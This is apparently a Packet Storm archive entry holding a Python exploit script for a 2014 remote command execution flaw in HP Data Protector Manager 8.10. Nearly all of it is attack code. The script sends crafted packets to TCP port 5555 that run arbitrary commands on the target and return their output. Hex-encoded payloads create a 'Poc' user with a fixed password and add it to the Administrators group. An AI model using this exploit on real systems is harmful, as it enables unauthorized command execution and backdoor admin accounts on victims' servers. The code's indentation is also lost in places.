HP Data Protection Manager 8.10 Remote Command Execution

2014-07-15T00:00:00
ID PACKETSTORM:127471
Type packetstorm
Reporter Polunchis
Modified 2014-07-15T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
  
# Exploit Title: HP-Data-Protector-8.10 Remote command execution.  
# Date: July 11 2014  
# Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org  
# Exploit Author: Henoch (Chanoc) Barrera https://intrusionlabs.org  
# Contacts: polunchis@intrusionlabs.org and chanoc@intrusionlabs.org  
# Version: HP Data Protector manager 8.10 the last version  
# Vendor web page: http://www8.hp.com/mx/es/software-solutions/software.html?compURI=1175640#.U8DhWaU_BjF  
# Tested on: Windows 2003, Windows 2008 and Windows 2012 all languages  
# Thanks:To GOD for giving us wisdom   
# Description:  
# A remote command execution is triggered when craft command is sent to the Hp Data Protector Manager to tcp port 5555.  
  
import socket  
import struct  
import sys  
  
#net user Poc l@bs.og /add  
shellusr = ("\x00\x00\x01\x3c\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00"  
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"  
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00"  
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00"  
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00"  
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"  
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"  
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"  
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"  
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"  
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"  
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"  
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00"  
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00"  
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00"  
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00"  
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00"  
"\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x50\x00\x6f\x00"  
"\x63\x00\x20\x00\x6c\x00\x40\x00\x62\x00\x73\x00\x2e\x00\x6f\x00"  
"\x67\x00\x20\x00\x2f\x00\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00")  
  
#net user local group Administrators Poc /add  
shellgrp = ("\x00\x00\x01\x56\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00"  
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"  
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00"  
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00"  
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00"  
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"  
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"  
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"  
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"  
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"  
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"  
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"  
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00"  
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00"  
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00"  
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00"  
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00"  
"\x20\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x67\x00\x72\x00"  
"\x6f\x00\x75\x00\x70\x00\x20\x00\x41\x00\x64\x00\x6d\x00\x69\x00"  
"\x6e\x00\x69\x00\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00"  
"\x72\x00\x73\x00\x20\x00\x50\x00\x6f\x00\x63\x00\x20\x00\x2f\x00"  
"\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00")  
  
def connect_target(target, port):  
try:  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
except socket.error as err:  
print  
"[-]Close Socket! CODE: %d MSG: %s" % (err[0], err[1])  
return -1  
  
try:  
sock.connect((target, port))  
except socket.error as err:  
print  
"[-] It cannot connect to the target! CODE: %d MSG: %s" % (err[0], err[1])  
return -1  
return sock  
  
def send_recv_packet(sock, packet):  
sock.sendall(packet)  
res = sock.recv(4096)  
return res  
print """  
[*] https://intrusionlabs.org  
"""  
print "[*] Choose a valid option"  
print """  
[1] Run remote commands  
[2] Add Poc user to Administrators group with password l@bs.og  
"""  
opcion= raw_input("Choose an option i.e. 1 or 2: ")  
if opcion.isdigit():  
opcion = int(opcion)  
  
if opcion == 1:  
ip_remota= raw_input("IP Address: ")  
port= raw_input("Port: ")  
command= raw_input("command: ")  
if port.isdigit():  
port = int(port)  
else:  
print "Please provide a tcp port"  
  
objetivo = connect_target(ip_remota, port)  
if objetivo == -1: exit()  
  
OFFSET = 46  
command = command.replace("\\", "\\\\")  
command_tmno = chr(OFFSET + len(command))  
shell = "\x00\x00\x00" +\  
command_tmno +\  
"\x32\x00\x01" +\  
"\x01\x01\x01" +\  
"\x01\x01\x00" +\  
"\x01\x00\x01" +\  
"\x00\x01\x00" +\  
"\x01\x01\x00" +\  
"\x2028\x00" +\  
"\\\x70\x65\x72" +\  
"\x6c\x2e\x65\x78" +\  
"\x65\x00 \x2d\x65" +\  
"\x73\x79\x73\x74\x65\x6d" +\  
"('%s')\x00" % command  
print >> sys.stderr, "[+] Sending the payload with the command: '%s'" % command  
datos = send_recv_packet(objetivo, shell) # Parse the response back  
print >> sys.stderr, "[+] Output:"  
while True:  
# Get information about response  
tmno_respuesta = objetivo.recv(4)  
if not tmno_respuesta: break  
n = struct.unpack(">I", tmno_respuesta)[0]  
respuesta = objetivo.recv(n)  
respuesta = respuesta[5:].strip()  
respuesta = respuesta.replace("\n", "")  
respuesta = respuesta.replace("\x00", "")  
if respuesta.upper().find("*RETVAL*") != -1:  
break  
print respuesta  
  
objetivo.close()  
print >> sys.stderr, "print [!] Port close...\r"  
  
elif opcion == 2:  
ip_remota= raw_input("IP Address: ")  
port= raw_input("\nPort: ")  
if port.isdigit():  
port = int(port)  
else:  
print "Please provide a tcp port"  
  
print  
"\n [*]Creating P0c user and try to add it to Administrators group"  
  
#Get information about response  
print "\n[*]Attempting to create Poc user and try to add it to Administrators group with password l@bs.og"  
for packet in [shellusr, shellgrp]:  
target = connect_target(ip_remota, port)  
if target == -1: exit()  
data = send_recv_packet(target, packet)  
print "[*]SERVER RESPONSE: " + \  
data.split("\xFF\xFE\x31\x00\x35\x00\x00\x00\x20\x00")[1].lstrip("\x07\x00\x01\x00").rstrip("$")  
target.close()  
  
else: print "Please provide a valid option i.e. 1 or 2"  
  
  
`